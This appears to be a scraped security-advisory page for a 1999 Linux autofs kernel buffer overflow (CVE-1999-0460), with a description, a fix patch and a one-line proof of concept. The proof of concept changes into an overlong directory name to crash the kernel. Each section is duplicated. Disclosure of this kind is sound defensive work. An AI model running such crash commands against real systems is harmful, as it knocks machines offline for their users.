Linux autofs Vulnerability
BID:312
Info
Linux autofs Vulnerability
| Bugtraq ID: | 312 |
| Class: | Boundary Condition Error |
| CVE: |
CVE-1999-0460 |
| Remote: | No |
| Local: | Yes |
| Published: | Feb 19 1999 12:00AM |
| Updated: | Jul 11 2009 12:16AM |
| Credit: | First posted to bugtraq by on Feb 19, 1999 by Brian Jones <[email protected]>. |
| Vulnerable: |
Linux kernel 2.2 Linux kernel 2.1 Linux kernel 2.0 |
| Not Vulnerable: | |
Discussion
Linux autofs Vulnerability
The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.
The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .
The autofs module provides support for the automount filesystem, as well as the interface between the kernel and the automountd daemon, which is responsible for the actual mounting. Calls such as chdir() executed in the automount directory are handled by the module, and if the desired directory is defined in the configuration files, automountd then mounts that directory/device. When a chdir() or similar function is called in the autofs directory, by a user doing something along the lines of "cd xxxx", the function fs/autofs/root.c:autofs_root_lookup() is called.
The autofs kernel module does not check the size of the directory names it receives. It is passed the name and the names length through dentry->d_name.name and dentry->d_name.len respectively. Later on it memcpy()'s the name into a 256 byte buffer, using dentry->d_name.len as the number of bytes to copy, without checking its size. A nonprivilaged user may attempt to cd to a directory name exceeding 255 characters. This overwrites memory, probably the kernel stack and anything beyond it, and causes kernel errors or makes the machine reboot .
Exploit / POC
Linux autofs Vulnerability
In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:
[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`
invalid operand: 0000
CPU: 0
EIP: 0010:[<c0155b00>]
EFLAGS: 00010282
eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000
esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8
ds: 0018 es: 0018 ss: 0018
Process bash (pid: 360, process nr: 21, stackpage=c26c5000)
Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8
c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def
c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900
c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900
c260d900
Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]
[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]
Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74
-{Shell dies}-
In this example exploit, we have a user using perl to generate a directory name that's 256 characters (the maximum being 255). The buffer for the directory name will overflow by one byte in this case:
[user@localhost auto-mounted-dir]# cd `perl -e 'print "x" x 256'`
invalid operand: 0000
CPU: 0
EIP: 0010:[<c0155b00>]
EFLAGS: 00010282
eax: 00000000 ebx: c2a90c20 ecx: c265904c edx: c0000000
esi: c29d3b00 edi: c2928000 ebp: c260d940 esp: c26c5ee8
ds: 0018 es: 0018 ss: 0018
Process bash (pid: 360, process nr: 21, stackpage=c26c5000)
Stack: 00000000 00000000 c260d940 c260d900 00000286 c0154c58 c0154ca8
c2928000 c260d940 c2928000 c260d900 c2659d50 c26cd3a0 00000286 c0154def
c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900
c260d900 c029c000 c2928000 c2659d9c c260d900 c2659d50 c0154ef7 c260d900
c260d900
Call Trace: [<c0154c58>] [<c0154ca8>] [<c0154def>] [<c0154ef7>] [<c0128759>]
[<c0128912>] [<c01289e9>] [<c012126e>] [<c0107a40>]
Code: fe ff ff 83 c4 08 eb 03 ff 43 1c 8b 7c 24 1c 83 7f 0c 00 74
-{Shell dies}-
Solution / Fix
Linux autofs Vulnerability
Solution:
The author has been notified of the problem and a quick-fix patch is available below.
--- root.c.orig Thu Feb 18 20:26:23 1999
+++ root.c Thu Feb 18 20:26:17 1999
@@ -217,6 +217,11 @@
DPRINTK(("autofs_root_lookup: name = "));
autofs_say(dentry->d_name.name,dentry->d_name.len);
+ /* quick patch by [email protected] 2-18-99 */
+ /* Prevents overflow of pkt.name in waitq.c:autofs_notify_daemon() */
+ if (dentry->d_name.len > 255)
+ return -ENAMETOOLONG;
+ if (!S_ISDIR(dir->i_mode))
return -ENOTDIR;
Solution:
The author has been notified of the problem and a quick-fix patch is available below.
--- root.c.orig Thu Feb 18 20:26:23 1999
+++ root.c Thu Feb 18 20:26:17 1999
@@ -217,6 +217,11 @@
DPRINTK(("autofs_root_lookup: name = "));
autofs_say(dentry->d_name.name,dentry->d_name.len);
+ /* quick patch by [email protected] 2-18-99 */
+ /* Prevents overflow of pkt.name in waitq.c:autofs_notify_daemon() */
+ if (dentry->d_name.len > 255)
+ return -ENAMETOOLONG;
+ if (!S_ISDIR(dir->i_mode))
return -ENOTDIR;
References
Linux autofs Vulnerability
References:
References: